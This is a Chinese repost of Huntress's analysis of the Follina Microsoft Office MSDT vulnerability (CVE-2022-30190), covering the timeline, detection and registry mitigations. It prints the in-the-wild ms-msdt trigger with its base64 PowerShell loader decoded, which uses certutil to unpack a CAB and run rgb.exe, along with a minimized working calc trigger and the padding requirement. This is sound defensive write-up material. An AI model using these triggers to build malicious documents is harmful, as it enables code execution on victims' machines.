写在前面:这是这几天最火的漏洞,大家都在纷纷讨论,本文整体做了梳理,方便大家了解。
如果提及数字时代的艺术品,恶意软件无疑可以算作一类。
快速响应:Microsoft Office RCE -“Follina”MSDT攻击
事情经过
在2022年4月12日,这个漏洞就报给了微软的安全响应团队,这些word文档假装来自俄罗斯卫星通讯社,向接受者提供了一次电台采访。
九天之后,微软似乎已经认定这个漏洞不代表安全问题,并宣布该问题已经解决。
但当@nao_sec在推特上发表之后, 引起大家注意
漏洞名字来自研究人员Kevin Beaumout,这个提交到VirusTotal的文档为05-2022-0438.doc,名字中有0438,0438是意大利威尼斯西北部城市Follina市的电话区号。
目前已经发现有APT组织开始利用这个漏洞进行钓鱼邮件攻击。
漏洞分析
漏洞过程,Huntress的文档写得非常清楚,以它作为蓝本。
截止到东部时间 5月30日,微软已经将这个漏洞标为CVE-2022-30190,并做了安全更新和指导,但还没有补丁发布。
-
https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/
-
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-30190
概述
Huntress正在密切关注通过MSDT(微软诊断工具)和Microsoft Office word 使用零点击远程代码运行技术的威胁。在接下来的几天里,我们期待通过电子邮件发送的方式,公开漏洞测试。
在本文中,我们将讨论重建攻击载荷、检测工作和潜在的缓解步骤。
如果你正在寻求指导如何保证用户的安全,而不是深入解释漏洞,简短的回答是,有一个新发现微软Word(和其他可能MS Office应用程序)漏洞,可以安装恶意软件,所以他们应该特别警惕打开任何附件。他们还应该知道,这个漏洞可通过预览文件而触发,不需要任何点击(下载后)。在这篇文章的底部有一些关于缓解措施的额外建议。
漏洞说明
初始Word文档是一个空文档,但看属性时,包括指向恶意URL的外部参考点。
<Relationship Id="rId996" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="hxxps://www[.]xmlformats[.]com/office/word/2022/wordprocessingDrawing/RDF842l.html!" TargetMode="External"/>
Huntress团队获得了@nao_sec首先在Twitter上分享的样本,并检查了Word文档的内容。我们复制了这个漏洞,下面分享我们的发现。
解压文件,提取构成Office文档的所有组件。
在 word/_rels/ 文件夹,有 document.xml.rels 文件, 包含外部参考:hxxps[:]//www.xmlformats.com/office/word/2022/wordprocessingDrawing/RDF842l.html!
撰写本文时,这个网址已不存在,从@nao_sec的共享,我们能得知这个RDF842l.html的原始内容:
文档开始是一个脚本标记,包含相当数量的A字符,开始以为只是注释,没有大的意义,但根据我们的测试,大量的字符,对漏洞成功很有必要。
最底部的脚本是:
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO"";
这看起来是漏洞的关键,使用ms-msdt,通过参数IT_RebrowseForFile调用原生包PCWDiagnostic,其中包括嵌入在$()中的PowerShell语法。
Base64 解码后:
$cmd = "c:windowssystem32cmd.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:userspublic&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";
把文件路径下的cmd.exe作为变量,整个过程:
-
开启隐藏窗口:
-
如果msdt.exe在运行,就杀掉进程
-
循环遍历RAR文件中的文件,查找Base64编码的CAB文件
-
将这个Base64编码的CAB文件存储为1.t
-
解码Base64编码的CAB文件,保存为1.c
-
将1.c CAB文件展开到当前目录
-
执行rgb.exe(可能压缩在1.c CAB文件中)
rgb.exe的影响还未知,但重要的是,这是一种新颖的初始访问技术,可以让受害者者只需点击一次或不需点击就可以执行代码。这种攻击很有吸引力,因为它隐藏在Microsoft Word文档中,没有宏来触发用户熟悉的告警,但具有运行远程代码的能力。
为了更好地理解这种威胁,Huntress安全研究人员修改了Word文档的内部结构,在分析沙箱中调用一个本地地址,并提供了一个良性的有效载荷,它将显示一条消息,而不是运行恶意软件。
经过一些测试后,很明显,如果没有大量填充字符(HTML注释中出现的A),载荷将无法执行。我们探索了不同的变体,使用了不同的字符,并将注释块置于触发脚本代码的上方和下方……但直到社区介入,我们才明白为什么这是必要的。Rich Warren分享了Bill Demirkapi的一篇博客,指出HTML处理函数有一个硬编码的缓冲区大小,我们能够确认任何小于4096字节的文件都不会调用有效载荷。
在进一步修改之后,我们注意到脚本调用中使用的一些语法对于调用有效载荷不是必须。使用相同的有效载荷(打开Windows内置计算器作为成功的证明),我们可以将触发器缩小为:
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc)/.exe"";
看起来:
-
在IT_BrowseForFile参数开始处,至少需要两个/../
-
打包在$()中的代码将通过PowerShell执行,但空格会破坏它
-
".exe"必须是IT_BrowseForFile参数末尾的最后一个字符串
虽然这并不是它所能压缩到的最大程度,但我们希望这能显示出这种攻击的变体是如何存在的。
注意,富文本格式文件(.rtf)仅通过Windows资源管理器中的预览功能就可以触发此漏洞。很像CVE-2021-40444,这扩展了这种威胁的严重性,不仅通过“单击”来利用,而且可能“零单击”触发。
此外,有效载荷可以在远端。虽然这不太可能调用不可信的二进制文件,但连接仍将携带NTLM哈希(这意味着攻击者现在有受害者Windows密码的哈希)进行进一步的攻击。
之前的研究人员通过对利用MSDT的其他方法的分析,为我们提供了这些潜在远程威胁的线索。
请记住,这种攻击技术可以在普通用户模式下,当打开或导航到恶意文档时运行代码。这意味着对手开始时可能是低权限用户(没有管理权限),但随后可以使用这种访问来触发进一步的攻击,以提高权限并获得对目标环境的更多访问权。
在可以部署补丁之前,教育用户识别和删除恶意电子邮件仍然是最好的防御措施。
检测工作
该攻击方式执行的有效载荷将在Microsoft Office父进程下创建msdt.exe的子进程。
此外,sdiagnhost.exe进程将与conhost.exe子进程及其后续有效载荷进程一起派生(我们的良性的calc.exe将弹起并打开Calculator.exe metro应用程序)。
缓解工作
虽然在撰写本文时还没有发布补丁,但您仍然可以采取缓解措施来限制攻击面。
如果在您的环境中使用Microsoft Defender的攻击面减少(ASR)规则,在阻止模式中激活“阻止所有Office应用程序创建子进程中”规则,将防止这一点被利用。但是,如果您还没有使用攻击面减少规则(ASR),您可能希望先在审计模式(Audit mode)下运行规则,并监视结果,以确保不会对最终用户造成不利影响。
另一个选择是删除ms-msdt的文件类型关联(可以在Windows 注册表HKCR:ms-msdt)。当恶意文档被打开时,Office将无法调用ms-msdt,从而阻止恶意软件运行。在使用此措施之前,请确保对注册表设置进行备份。
漏洞事件的非技术用语解释
如果您想知道如何与您的终端用户沟通此漏洞(甚至需要分析此漏洞以供您自己了解),要点如下:
-
这是一个不知道从哪里冒出来的零日攻击,目前没有可用的补丁
-
这个零日攻击的特点是远程代码执行,这意味着一旦该代码被引爆,攻击者可以提高自己的权限,并可能实现对受影响环境的“上帝模式”访问。
-
现有的缓解措施是有些忙乱的变通方案,行业还没有时间研究其影响。它们涉及到更改Windows注册表的设置,这是一件严肃的事情,因为一个错误的注册表条目可能会损坏你的机器。
-
引爆这个恶意代码很简单,只需预览模式打开Word文档。
微软对于漏洞的当前指南
禁用MSDT URL协议:
以管理员身份运行命令。
要备份注册表项,执行命令" reg export HKEY_CLASSES_ROOTms-msdt filename "
执行命令“reg delete HKEY_CLASSES_ROOTms-msdt /f”。
恢复:
以管理员身份运行命令。
要恢复注册表项,执行命令" reg import filename "
摘自:
https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug
(完)
原文始发于微信公众号(安全行者老霍):微软最新Office Word Follina漏洞介绍
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论